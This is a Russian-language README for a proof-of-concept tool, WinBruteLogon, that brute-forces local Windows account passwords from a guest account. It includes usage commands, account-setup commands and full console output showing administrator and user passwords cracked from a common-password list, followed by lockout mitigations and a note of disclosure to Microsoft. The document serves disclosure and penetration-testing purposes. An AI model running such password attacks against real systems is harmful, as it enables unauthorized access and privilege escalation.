
Взломать пароль любого пользователя Microsoft Windows без каких-либо привилегий (включая гостевую учётную запись)
Уведомление 1: Мы рады сообщить, что наш текущий инструмент был портирован в версию PowerShell. Это означает, что теперь пользователи могут получить доступ к инструменту и использовать его напрямую из командной строки PowerShell, что делает его ещё более удобным и эффективным. Мы считаем, что эта новая версия принесёт большую пользу нашим пользователям и улучшит их опыт работы с инструментом. Спасибо за вашу постоянную поддержку, и мы надеемся, что вам понравится новая версия PowerShell: https://github.com/DarkCoderSc/power-brute-logon
Уведомление 2: Недавно мы узнали, что Microsoft включила политику блокировки учётной записи по умолчанию в современных и обновлённых версиях Windows. Эта политика помогает защитить систему, блокируя учётную запись после определённого количества неудачных попыток входа. Хотя это полезная мера безопасности, она делает доказательство концепции (PoC) неэффективным на этих системах.
Дата выхода: 2020-05-14
Цель: Windows XP – последняя версия Windows 10 (1909)

Место уязвимости: LogonUserA, LogonUserW, CreateProcessWithLogonA, CreateProcessWithLogonW
WinBruteLogon.exe -u <имя_пользователя> -w <файл_со_списком>
type <файл_со_списком> | WinBruteLogon.exe -u <имя_пользователя> -
Win Brute Logon предназначен для имитации атаки методом перебора (brute-force) на учётную запись Microsoft, угадывая большое количество комбинаций паролей за короткое время. Это позволяет пентестерам проверить безопасность своих систем и оценить их защищённость от атак перебором. Инструмент использует отсутствие механизма блокировки учётной записи (который до Windows 11 не был включён по умолчанию). Пытаясь угадать пароль учётной записи, инструмент помогает пентестерам выявить и устранить уязвимости в мерах безопасности. Его следует использовать ответственно и в рамках закона.
Для этой демонстрации мы настроим свежую версию Windows 10 на виртуальной или физической машине. После установки войдите в систему как администратор. Затем создайте две разные локальные учётные записи: одну администраторскую и одну обычного пользователя. Обратите внимание: хотя в демонстрации мы будем использовать гостевую учётную запись, эта доказательство концепции (PoC) не ограничивается ею. Его можно использовать из любой учётной записи или группы, включая гостевую, обычного пользователя и администратора.
net user darkcodersc /add
net user darkcodersc trousers (trousers — пароль)
net localgroup administrators darkcodersc /add
net user HackMe /add
net user HackMe ozlq6qwm (ozlq6qwm — пароль)
net user GuestUser /add
net localgroup users GuestUser /delete
net localgroup guests GuestUser /add
В моём случае оба пароля (trousers и ozlq6qwm) есть в SecList: https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/10k-most-common.txt
Для начала демонстрации выйдите из учётной записи администратора или перезагрузите машину и войдите в гостевую учётную запись. Затем поместите исполняемый файл PoC в место, доступное гостевому пользователю.
Использование: WinBruteLogon.exe -v -u <имя_пользователя> -w <файл_со_списком>
Опция -v является необязательной и включает подробный режим.
По умолчанию доменное имя берётся из переменной среды %USERDOMAIN%. Вы можете указать своё имя с помощью опции -d.
darkcodersc (Администратор)prompt(guest)>WinBruteLogon.exe -v -u darkcodersc -w 10k-most-common.txt
Подождите несколько секунд, чтобы увидеть результат:
[ .. ] Load 10k-most-common.txt file in memory...
[DONE] 10002 passwords successfully loaded.
[INFO] 2 cores are available
[ .. ] Create 2 threads...
[INFO] New "TWorker" Thread created with id=2260, handle=364
[INFO] New "TWorker" Thread created with id=3712, handle=532
[DONE] Done.
[ OK ] Password for username=[darkcodersc] and domain=[DESKTOP-0885FP1] found = [trousers]
[ .. ] Finalize and close worker threads...
[INFO] "TWorkers"(id=2260, handle=364) Thread successfully terminated.
[INFO] "TWorkers"(id=3712, handle=532) Thread successfully terminated.
[DONE] Done.
[INFO] Ellapsed Time : 00:00:06
HackMe (Обычный пользователь)prompt(guest)>WinBruteLogon.exe -v -u HackMe -w 10k-most-common.txt
Подождите несколько секунд, чтобы увидеть результат:
[ .. ] Load 10k-most-common.txt file in memory...
[DONE] 10002 passwords successfully loaded.
[INFO] 2 cores are available
[ .. ] Create 2 threads...
[INFO] New "TWorker" Thread created with id=5748, handle=336
[INFO] New "TWorker" Thread created with id=4948, handle=140
[DONE] Done.
[ OK ] Password for username=[HackMe] and domain=[DESKTOP-0885FP1] found = [ozlq6qwm]
[ .. ] Finalize and close worker threads...
[INFO] "TWorkers"(id=5748, handle=336) Thread successfully terminated.
[INFO] "TWorkers"(id=4948, handle=140) Thread successfully terminated.
[DONE] Done.
[INFO] Ellapsed Time : 00:00:06
«В реальном сценарии, если злоумышленник получает доступ к учётной записи с низкими привилегиями, он может взломать пароль более привилегированного пользователя и повысить свои привилегии. Чтобы снизить этот риск, можно предпринять несколько шагов:
Чтобы включить политику блокировки учётной записи (которая не включена по умолчанию), выполните следующие действия:
Обратите внимание, что политика блокировки не применяется к учётной записи администратора. В этом случае лучшая защита для учётной записи администратора (если она включена) — установка очень сложного пароля.
Отчёт об этой уязвимости был отправлен команде безопасности Microsoft. Им следует рассмотреть возможность включения политики блокировки учётной записи по умолчанию.»
(ОБНОВЛЕНИЕ 2022): Блокировка учётной записи наконец-то включена по умолчанию.